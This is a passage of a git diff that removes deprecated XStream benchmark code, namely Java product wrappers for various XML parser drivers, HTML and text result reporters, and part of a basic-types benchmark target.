XStream with the BEA StAX driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see BEAStaxDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamBEAStax extends XStreamDriver { - - public XStreamBEAStax() { - super(new BEAStaxDriver(), "XML with BEA StAX parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamBinary.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamBinary.java deleted file mode 100644 index 9b96ed57b..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamBinary.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.io.binary.BinaryStreamWriter; -import com.thoughtworks.xstream.io.binary.BinaryStreamReader; - -import java.io.OutputStream; -import java.io.InputStream; - -/** - * Uses XStream with binary format instead of XML. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Product - * @see XStream - * @see BinaryStreamReader - * @see BinaryStreamWriter - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamBinary implements Product { - - private final XStream xstream; - - public XStreamBinary() { - this.xstream = new XStream(); - } - - public void serialize(Object object, OutputStream output) throws Exception { - xstream.marshal(object, new BinaryStreamWriter(output)); - } - - public Object deserialize(InputStream input) throws Exception { - return xstream.unmarshal(new BinaryStreamReader(input)); - } - - public String toString() { - return "XStream (binary format)"; - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamCompact.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamCompact.java deleted file mode 100644 index 9b0f9f730..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamCompact.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.io.xml.XppDriver; -import com.thoughtworks.xstream.io.xml.CompactWriter; - -import java.io.OutputStream; -import java.io.InputStream; -import java.io.OutputStreamWriter; - -/** - * Uses XStream with a compact XML output format. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Product - * @see XStream - * @see CompactWriter - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamCompact implements Product { - - private final XStream xstream; - - public XStreamCompact() { - this.xstream = new XStream(new XppDriver()); - } - - public void serialize(Object object, OutputStream output) throws Exception { - xstream.marshal(object, new CompactWriter(new OutputStreamWriter(output))); - } - - public Object deserialize(InputStream input) throws Exception { - return xstream.fromXML(input); - } - - public String toString() { - return "XStream (Compact XML)"; - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDom.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDom.java deleted file mode 100644 index 6b196f9df..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDom.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.DomDriver; - -/** - * Uses XStream with the DOM driver for parsing XML. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see DomDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamDom extends XStreamDriver { - - public XStreamDom() { - super(new DomDriver(), "XML with DOM parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDom4J.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDom4J.java deleted file mode 100644 index 791744227..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDom4J.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.HierarchicalStreamWriter; -import com.thoughtworks.xstream.io.xml.Dom4JDriver; -import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; - -import java.io.Writer; - -/** - * Uses XStream with the DOM4J driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see Dom4JDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamDom4J extends XStreamDriver { - - public XStreamDom4J() { - super(new Dom4JDriver() { - - public HierarchicalStreamWriter createWriter(Writer out) { - return new PrettyPrintWriter(out); - } - - }, "XML with DOM4J parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDriver.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDriver.java deleted file mode 100644 index f8805eb9d..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamDriver.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright (C) 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 19.02.2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.converters.javabean.JavaBeanConverter; -import com.thoughtworks.xstream.io.HierarchicalStreamDriver; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.model.FiveBean; -import com.thoughtworks.xstream.tools.benchmark.model.OneBean; - -import java.io.InputStream; -import java.io.OutputStream; - - -/** - * Generic XStream product based on an arbitrary driver. - * - * @see XStream - * @see Product - * @see HierarchicalStreamDriver - * @author Joe Walnes - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamDriver implements Product { - - private final XStream xstream; - private final String desc; - - /** - * Create a XStream product based on a driver. - * - * @param driver the driver to use for serialization/deserialization - * @param desc the driver description - * - * @since 1.4 - */ - public XStreamDriver(HierarchicalStreamDriver driver, String desc) { - this.xstream = new XStream(driver); - this.xstream.registerConverter(new JavaBeanConverter(this.xstream.getMapper()) { - - public boolean canConvert(Class type) { - return type == OneBean.class || type == FiveBean.class; - } - - }); - this.desc = desc; - } - - public void serialize(Object object, OutputStream output) throws Exception { - xstream.toXML(object, output); - } - - public Object deserialize(InputStream input) throws Exception { - return xstream.fromXML(input); - } - - public String toString() { - return "XStream (" + desc + ")"; - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamJDom.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamJDom.java deleted file mode 100644 index 8e278ec25..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamJDom.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.JDomDriver; - -/** - * Uses XStream with the JDOM driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see JDomDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamJDom extends XStreamDriver { - - public XStreamJDom() { - super(new JDomDriver(), "XML with JDOM parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamKXml2.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamKXml2.java deleted file mode 100644 index 5d3cd1ffc..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamKXml2.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.KXml2Driver; - -/** - * Uses XStream with the kXML2 driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see KXml2Driver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamKXml2 extends XStreamDriver { - - public XStreamKXml2() { - super(new KXml2Driver(), "XML with kXML2 parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamKXml2DOM.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamKXml2DOM.java deleted file mode 100644 index adeaf653f..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamKXml2DOM.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 05. May 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.KXml2DomDriver; - -/** - * Uses XStream with the Xpp3 DOM driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see KXml2DomDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamKXml2DOM extends XStreamDriver { - - public XStreamKXml2DOM() { - super(new KXml2DomDriver(), "XML with kXML2 DOM parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamSjsxp.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamSjsxp.java deleted file mode 100644 index 1a54ebde7..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamSjsxp.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.SjsxpDriver; - -/** - * Uses XStream with the SJSXP StAX driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see SjsxpDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamSjsxp extends XStreamDriver { - - public XStreamSjsxp() { - super(new SjsxpDriver(), "XML with SJSXP StAX parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamStax.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamStax.java deleted file mode 100644 index b51f51197..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamStax.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.StaxDriver; - -/** - * Uses XStream with the default StAX driver for parsing XML. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see StaxDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamStax extends XStreamDriver { - - public XStreamStax() { - super(new StaxDriver(), "XML with default StAX parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamWoodstox.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamWoodstox.java deleted file mode 100644 index 32afaab11..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamWoodstox.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.WstxDriver; - -/** - * Uses XStream with the Woodstox StAX driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see WstxDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamWoodstox extends XStreamDriver { - - public XStreamWoodstox() { - super(new WstxDriver(), "XML with Woodstox StAX parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXom.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXom.java deleted file mode 100644 index 661300d4c..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXom.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.XomDriver; - -/** - * Uses XStream with the XOM driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see XomDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamXom extends XStreamDriver { - - public XStreamXom() { - super(new XomDriver(), "XML with XOM parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp.java deleted file mode 100644 index 9150a395e..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.XppDriver; - - -/** - * Uses XStream with the default XPP driver for parsing XML. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see XppDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamXpp extends XStreamDriver { - - public XStreamXpp() { - super(new XppDriver(), "XML with default XPP parser"); - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp3.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp3.java deleted file mode 100644 index fba75741a..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp3.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.Xpp3Driver; - -/** - * Uses XStream with the Xpp3 driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see Xpp3Driver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamXpp3 extends XStreamDriver { - - public XStreamXpp3() { - super(new Xpp3Driver(), "XML with Xpp3 parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp3DOM.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp3DOM.java deleted file mode 100644 index 676567e2e..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamXpp3DOM.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 05. May 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.Xpp3DomDriver; - -/** - * Uses XStream with the kXML2 DOM driver for parsing XML. - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see com.thoughtworks.xstream.tools.benchmark.Product - * @see com.thoughtworks.xstream.XStream - * @see Xpp3DomDriver - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class XStreamXpp3DOM extends XStreamDriver { - - public XStreamXpp3DOM() { - super(new Xpp3DomDriver(), "XML with Xpp3 DOM parser"); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/HtmlReporter.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/HtmlReporter.java deleted file mode 100644 index 55b102e4e..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/HtmlReporter.java +++ /dev/null @@ -1,167 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 22. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.reporters; - -import com.thoughtworks.xstream.tools.benchmark.Reporter; -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Target; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; - -import java.io.File; -import java.io.FileWriter; -import java.io.IOException; -import java.util.List; -import java.util.ArrayList; -import java.util.Iterator; -import java.util.Date; - -/** - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class HtmlReporter implements Reporter { - - private final PrettyPrintWriter out; - private final String title; - - private Metric currentMetric; - private double largestMetricForTarget; - private List resultsForTarget; - - public HtmlReporter(File htmlFile, String title) throws IOException { - this.title = title; - out = new PrettyPrintWriter(new FileWriter(htmlFile)); - } - - public void startBenchmark() { - out.startNode("html"); - - out.startNode("head"); - writeTag("title", title); - writeTag("style", css(), "type", "text/css"); - out.endNode(); - - out.startNode("body"); - - writeTag("h1", title); - } - - private String css() { - StringBuffer css = new StringBuffer("\n"); - css.append("body, h1, h2, h3, td { font-family: arial; }\n"); - css.append("h1 { text-align: center; }\n"); - css.append("table, h3 { margin-left: 40px; }\n"); - css.append("table, td, th { border: 1px solid #999; border-collapse: collapse; font-size: smaller; }\n"); - css.append(".success { color: #090; }\n"); - css.append(".fail { color: #900; }\n"); - return css.toString(); - } - - public void startMetric(Metric metric) { - writeTag("h2", metric.toString()); - currentMetric = metric; - } - - public void startTarget(Target target) { - writeTag("h3", target.toString()); - out.flush(); // Flush now, so progress can be seen with slow benchmarks. - largestMetricForTarget = 0; - resultsForTarget = new ArrayList(); - } - - public void metricRecorded(Product product, double result) { - // Keep a look out for the largest result. - if (result > largestMetricForTarget) { - largestMetricForTarget = result; - } - resultsForTarget.add(new MetricResult(product, result)); - } - - public void metricFailed(Product product, Exception e) { - resultsForTarget.add(new MetricResult(product, e)); - } - - public void endTarget(Target target) { - out.startNode("table"); - out.startNode("tr"); - - writeTag("th", "Product"); - writeTag("th", currentMetric.unit()); - - out.endNode(); - for (Iterator iterator = resultsForTarget.iterator(); iterator.hasNext();) { - MetricResult metricResult = (MetricResult) iterator.next(); - out.startNode("tr"); - - writeTag("td", metricResult.product.toString()); - - if (metricResult.exception == null) { - writeTag("td", String.valueOf(metricResult.result), "class", "success"); - - long percentage = Math.round(Math.abs(metricResult.result / largestMetricForTarget) * 100.0); - out.startNode("td"); - out.addAttribute("style", "width: 400px;"); - writeTag("div", "", "style", "height: 100%; width: " + percentage + "%; background-color: blue;"); - out.endNode(); - } else { - writeTag("td", "FAIL", "class", "fail"); - writeTag("td", metricResult.exception.toString()); - } - - out.endNode(); - } - out.endNode(); - out.flush(); // Flush now, so progress can be seen with slow benchmarks. - } - - private void writeTag(String tag, String value) { - out.startNode(tag); - out.setValue(value); - out.endNode(); - } - - private void writeTag(String tag, String value, String attributeName, String attributeValue) { - out.startNode(tag); - out.addAttribute(attributeName, attributeValue); - out.setValue(value); - out.endNode(); - } - - public void endMetric(Metric metric) { - } - - public void endBenchmark() { - writeTag("p", new Date().toString()); - out.endNode(); - out.endNode(); - out.close(); - } - - private static class MetricResult { - private final Product product; - private final double result; - private final Exception exception; - - public MetricResult(Product product, double result) { - this.result = result; - this.product = product; - this.exception = null; - } - - public MetricResult(Product product, Exception exception) { - this.product = product; - this.result = 0; - this.exception = exception; - } - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/MultiReporter.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/MultiReporter.java deleted file mode 100644 index b6fc23277..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/MultiReporter.java +++ /dev/null @@ -1,82 +0,0 @@ -/* - * Copyright (C) 2007, 2008, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 14. September 2007 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.reporters; - -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.Reporter; -import com.thoughtworks.xstream.tools.benchmark.Target; - -/** - * A reporter multiplexing the results to other Reporters. - * - * @author Jörg Schaible - * @since 1.3 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class MultiReporter implements Reporter { - - private final Reporter[] reporter; - - public MultiReporter(Reporter[] reporter) { - this.reporter = reporter; - } - - public void endBenchmark() { - for (int i = 0; i < reporter.length; i++) { - reporter[i].endBenchmark(); - } - } - - public void endMetric(Metric metric) { - for (int i = 0; i < reporter.length; i++) { - reporter[i].endMetric(metric); - } - } - - public void endTarget(Target target) { - for (int i = 0; i < reporter.length; i++) { - reporter[i].endTarget(target); - } - } - - public void metricFailed(Product product, Exception e) { - for (int i = 0; i < reporter.length; i++) { - reporter[i].metricFailed(product, e); - } - } - - public void metricRecorded(Product product, double result) { - for (int i = 0; i < reporter.length; i++) { - reporter[i].metricRecorded(product, result); - } - } - - public void startBenchmark() { - for (int i = 0; i < reporter.length; i++) { - reporter[i].startBenchmark(); - } - } - - public void startMetric(Metric metric) { - for (int i = 0; i < reporter.length; i++) { - reporter[i].startMetric(metric); - } - } - - public void startTarget(Target target) { - for (int i = 0; i < reporter.length; i++) { - reporter[i].startTarget(target); - } - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/TextReporter.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/TextReporter.java deleted file mode 100644 index 5819fa23d..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/reporters/TextReporter.java +++ /dev/null @@ -1,93 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.reporters; - -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.Reporter; -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.io.PrintWriter; -import java.io.Writer; - -/** - * Reports results of Harness in text form designed for human reading. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Reporter - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class TextReporter implements Reporter { - - private final PrintWriter out; - private Metric currentMetric; - - public TextReporter(PrintWriter out) { - this.out = out; - } - - public TextReporter(Writer out) { - this(new PrintWriter(out)); - } - - /** - * Reports to System.out. - */ - public TextReporter() { - this(new PrintWriter(System.out, true)); - } - - public void startBenchmark() { - } - - public void startMetric(Metric metric) { - currentMetric = metric; - out.println("======================================================================"); - out.println(metric); - out.println("======================================================================"); - } - - public void startTarget(Target target) { - out.println("* " + target + ""); - } - - public void metricRecorded(Product product, double result) { - out.println(" - " + pad(product.toString()) + " " + result + " " + currentMetric.unit()); - } - - public void metricFailed(Product product, Exception e) { - out.println(" - " + pad(product.toString()) + " FAILED (" + e + ")"); - } - - public void endTarget(Target target) { - } - - public void endMetric(Metric metric) { - out.println(); - currentMetric = null; - } - - public void endBenchmark() { - out.flush(); - } - - private String pad(String value) { - StringBuffer result = new StringBuffer(); - result.append(value); - while (result.length() < 50) { - result.append('.'); - } - return result.toString(); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/BasicTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/BasicTarget.java deleted file mode 100644 index 582f717a8..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/BasicTarget.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.io.File; -import java.util.ArrayList; -import java.util.List; -import java.util.Locale; - -/** - * Target containing basic types. - * - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class BasicTarget implements Target { - - private List list; - - public BasicTarget() { - list = new ArrayList(); - list.add(new Integer(1)); - list.add(new Byte((byte)2)); - list.add(new Short((short)3)); - list.add(new Long(4)); - list.add("Profile"); - list.add(Boolean.TRUE); - 